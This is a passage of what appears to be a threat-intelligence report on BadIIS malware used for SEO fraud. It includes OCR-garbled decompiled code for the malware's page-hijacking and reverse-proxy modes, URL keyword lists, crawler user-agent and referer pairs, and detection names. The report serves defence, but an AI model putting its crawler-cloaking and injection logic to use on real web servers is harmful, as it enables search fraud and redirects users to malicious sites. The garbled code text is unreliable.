
el

Slwindow.onload = function() {
alertSet () :

_};

-</script>

Figure 29. Two different C2 servers in JavaScript code.

Second cluster of new BadllS

The second cluster of the new BadllS malware also includes handlers named “CHttpModule::OnBeginRequest” and
“CHttpModule::OnSendResponse”. In this cluster, OnBeginRequest is used as a decision point to execute before any
intensive processing occurs, while OnSendResponse handles output modification to ensure that no other module can
override the redirect. This cluster also features three modes: SEO fraud mode, injector mode and proxy mode.
Notably, the injector and proxy modes operate under the SEO fraud mode umbrella, which itself has four variants
tailored to different scenarios:

« All interface hijacking targets all webpages on the webserver, replacing original content for both search
engine crawlers and users.
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if ( !byte_180@9DC91 )
goto Goto_backlink;

OutputDebugStringA 8("crd5===FiF&IF111"); // Original site hijacking
if ( url_tezhengma(URL) ) // Verify particular URL path and file extension
goto Goto_backlink; // Enable back link, except homepage

if ( lbyte_18009DC08 )

OutputDebugStringh_8("crd5===/F I FFF--- =R @ENEFI11");// Original site hijacking - all interface hijacking
if ( byte 180090C94 )

{
IsInSpiders(user_agent_BUF, &int_crawler);// search engine crawler
OutputDebugStringA_@("crd5===f8FEHItET] W.===IsInSpiders: %d");// Specify crawler
if ( IsInSpiders(user_agent BUF, &int_crawler) && (*(repond_obj + 8) == 280 || *(repond_obi + 8) == 304) }// status code
OutputDebugStringh 8("cra5===/Fit % - SIEREHE--#ET makeOriginalSiteContent™);
getHtmlContent TDK: // Original site hijacking - all interface hijacking - Coming in
getHtmlContent_TDK(URL, &va2); // TDK = Title, Description and Keywords
}
}
else
OQutputDebugStringA_B("crd5===FFgcML1111"Yy;  J/ All can view

if ( *(repond_obj + 8) == 208 || *(repond_obj + 8) == 3064 )
goto getHtmlContent_TDK;
}
v26 = (*(*vle + 24LL))(v1e, "Referer”, vd5);
OutputDebugStringh B("cr45===referer:%s");
if ( !WebSpider(user_agent_BUF) )

Figure 30. All interface hijacking.

+ Homepage hijacking targets only the homepage, substituting its content for search engine crawlers and users.

Loy vis emow g
goto Original_site_hijacking_Homepage_hijacking back_links;
}
goto makeOriginalSitelontentAd]ls;
}
}

Original_site_hijacking_Homepage_hijacking_back_links:
if { wA2 B& byte_188@9DC96 )

{ f/ Original site hijacking - Homepage hijacking - backlink - coming in
OutputDebugStringA (" cras===IRISENFE- - - T EHF- -FH R --#HET ),
v23 = showLInk(URL, repond_obj, user_agent BUF, v8, va4d);
v24 = vad[e];
v25 = v23; // Original site hijacking - Homepage hijacking -backlink - result:retflag:¥%d
OutputDebugStringA_o("cras===/Ri5ENE- -G EF--FH R - -8 retflag: %d");
if (v2a )
return v25;
v2 = vwib;

goto Goto_backlink;

¥

goto Goto_backlink_;
¥ S/ Original site hijacking---not the homepage---jump away
OutputDebugStringh_@("crd5===[RIGENF---FE2ER--HE!11");

Figure 31. Homepage hijacking.

* Global reverse proxy configures a proxy to automatically replace content for search engine crawlers and
users.

if ( lbyte_18@0A11F7 || *(repond_obi + 8) l= 4@4 )// |=4@4

goto complete_request_without notify;
OutputDebugStringhA_@("cras===ER"); /7 global reverse proxy
if { byte 18009DCO3 )

OutputDebugsStringh_o("cra5===fEFEPIEFCIMI1I11"); // specified crawler
if ( IsInSpiders(user agent BUF, &dword 1868A130@)// search engine crawler
&8 (*(repond_obi + 8) == 20@ || *(repond_obi + 8) == 384 || *(repond_obj + 8) == 404) }// status code

w15 = "crdS===RMF N - - FR - - fEEnE S - 3#RT"; 4/ Original site pape - global reverse proxy - specified crawler - come in
Get_Host_info:

OutputDebugStringh_@{v315);

GetHost_info(URL, user_agent BUF, vZ, vE, &wi2);// Get the host name

}
}
else
{
OutputDebugStringd_@("craS===FLsENI111"); [ ALl szee
if ( ®(repond obi + 8) == 20@ || ®(repond obj + 8) == 384 || ®(repond obj + 8) == 484 }// status code
{
WIS = "crdSe==JRENA T - -2 BRI - -EiEeM--idE T /{ Original site page - global reverse proxy - All see - come in
goto Get_Host_info;
}

V3G = (F(*va3 + 24LL)) (w18, "Referer”, wi5);
OutputDebugStringA @("crdS===referer:¥s");
if ( lwebSpider{user_agent_BUF) )
{

if ( 'user_agent )

{
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Figure 32. Global reverse proxy.

« Specify URL path reverse proxy configures a proxy to automatically replace content for search engine
crawlers and users.

Goto_backlink:
if ( !'byte_18609DC97 )
goto complete_request_without_notify;
OutputDebugStringA_@("cra5===EEFER, MTER"); // Enable reverse proxy, except for the home page

if ( url_tezhengma(URL) ) // check url path
{
if ( byte_18009DC93 )
{ // Specify crawler
OutputDebugStringA 0("cra5===15FEHFTI I 11");
if ( !IsInSpiders(user agent BUF, &dword_1800A1300) )
goto OnSendRespond;
}
else
{
OutputDebugStringA 0("cra5===&FEENI111");
¥
if ( *(repond_obj + 8) == 200 || *(repond_obj + 8) == 304 || *(repond_obj + 8) == 404 )// status code
GetHost 1nFo(_I.LJ user_agent_BUF, v2, v:) &va3);

OnSendRespond:
const_Referer = (*(*v48 + 24LL))(v48, “"Referer™, v45};
OutputDebugStrlngA e’ crd;---referer %s");

if ( WebSpider(user_agent BUF) )

{
OutputDebugStringA_0("cras===I211%");

}

Figure 233. Specify URL path reverse proxy.

The URL path pattern referred to as “Tezhengma” in the debug strings by the actor includes multiple versions. Some
of these versions partially match the patterns found in the first cluster of BadllS malware.

xxm|dabo|lingdu|images
cash|bet|gambling|betting|casino|fishing|deposit|bonus
news|cash|bet|gambling|betting|casino|fishing|deposit|bonus|sitemap

news | cash|bet|gambling|betting|casino|fishing|deposit|bonus|sitemap|app|ios|video|games|xoso|dabong|nohu
app|news|ios|android|cash|bet|gambling|betting|casino|fishing|deposit|bonus|sitemap|qsj|rna|muv]|zop|vna|e

The injector mode injects JavaScript in each SEO fraud type when the user-agent and referer do not match its
criteria. The algorithm is same as the first cluster BadlIS; it verifies the user-agent to identify search engine crawlers
and checks the referer to determine if the user is browsing from an expected source.

User-agent Referer
Baiduspider

baidu
Sogouspider

sogou
Sogou web spider

sm[.Jcn
360spider

360
YisouSpider

so[.Jcom
Googlebot

toutiao
Bingbot

google
BingPreview

bing

MicrosoftPreview

Table 4. Combination of User-Agent and Referer headers used for injecting JavaScript to redirect the browser.

Coverage

Ways our customers can detect and block this threat are listed below.
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Extended Detection and Response:

Cisco XDR Multi-Factor Authentication: Cisco Duo Endpoint: Cisco Secure Endpoint

v N/A v

] f e T . Multi-Cloud Security:
Email: Cisco Secure Email Threat Defense Network security: Cisco Secure Firewall Cisco MultiCloud Defense

v v N/A

Security Service Edge (SSE):

Secure Internet Gateway: Cisco Umbrella Analytics: Cisco Secure Network Analytics Cisco Secure Access

N/A N/A v

Cisco Secure Endpoint (formerly AMP for Endpoints) is ideally suited to prevent the execution of the malware detailed
in this post. Try Secure Endpoint for free here.

Cisco Secure Email (formerly Cisco Email Security) can block malicious emails sent by threat actors as part of their
campaign. You can try Secure Email for free here.

Cisco Secure Firewall (formerly Next-Generation Firewall and Firepower NGFW) appliances such as Threat Defense
Virtual, Adaptive Security Appliance and Meraki MX can detect malicious activity associated with this threat.

Cisco Secure Network/Cloud Analytics (Stealthwatch/Stealthwatch Cloud) analyzes network traffic automatically and
alerts users of potentially unwanted activity on every connected device.

Cisco Secure Malware Analytics (Threat Grid) identifies malicious binaries and builds protection into all Cisco Secure
products.

Cisco Secure Access is a modern cloud-delivered Security Service Edge (SSE) built on Zero Trust principles. Secure
Access provides seamless transparent and secure access to the internet, cloud services or private application no
matter where your users work. Please contact your Cisco account representative or authorized partner if you are
interested in a free trial of Cisco Secure Access.

Umbrella, Cisco’s secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs and URLs,
whether users are on or off the corporate network.

Cisco Secure Web Appliance (formerly Web Security Appliance) automatically blocks potentially dangerous sites and
tests suspicious sites before users access them.

Additional protections with context to your specific environment and threat data are available from the Firewall
Management Center.

Cisco Duo provides multi-factor authentication for users to ensure only those authorized are accessing your network.

Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available
for purchase on Snort.org. Snort SIDs for the threats are: 65346, 65345

ClamAYV detections are also available for this threat:

¢ Win.Malware.SysShell-10058032-0

¢ Win.Malware.NewBadIlS-10058033-0
¢ Win.Malware.BadlISCR45-10058034-0
e Win.Malware.WebShellCn-10058035-0
¢ Win.Packed.CSBeaconCn-10058036-0

Indicators of compromise (IOCs)

The 10Cs can also be found in our GitHub repository here.
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https://www.cisco.com/c/en/us/products/security/amp-for-endpoints/index.html
https://www.cisco.com/c/en/us/products/security/amp-for-endpoints/free-trial.html?utm_medium=web-referral?utm_source=cisco&utm_campaign=amp-free-trial&utm_term=pgm-talos-trial&utm_content=amp-free-trial
https://www.cisco.com/c/en/us/products/security/email-security/index.html
https://www.cisco.com/c/en/us/products/security/cloud-mailbox-defense?utm_medium=web-referral&utm_source=cisco&utm_campaign=cmd-free-trial-request&utm_term=pgm-talos-trial
https://www.cisco.com/c/en/us/products/security/firewalls/index.html
https://www.cisco.com/c/en/us/products/collateral/security/firepower-ngfw-virtual/datasheet-c78-742858.html
https://www.cisco.com/c/en/us/products/collateral/security/firepower-ngfw-virtual/datasheet-c78-742858.html
https://www.cisco.com/c/en/us/products/security/adaptive-security-appliance-asa-software/index.html
https://meraki.cisco.com/products/appliances
https://www.cisco.com/c/en/us/products/security/stealthwatch/index.html
https://www.cisco.com/c/en/us/products/security/threat-grid/index.html
https://www.cisco.com/site/us/en/products/security/secure-access/index.html
https://umbrella.cisco.com/
https://www.cisco.com/c/en/us/products/security/web-security-appliance/index.html
https://www.cisco.com/c/en/us/products/security/firepower-management-center/index.html
https://www.cisco.com/c/en/us/products/security/firepower-management-center/index.html
https://signup.duo.com/?utm_source=talos&utm_medium=referral&utm_campaign=duo-free-trial
https://www.snort.org/products
https://github.com/Cisco-Talos/IOCs/tree/main/2025/09/uat-8099-chinese-speaking-cybercrime-group-seo-fraud.txt

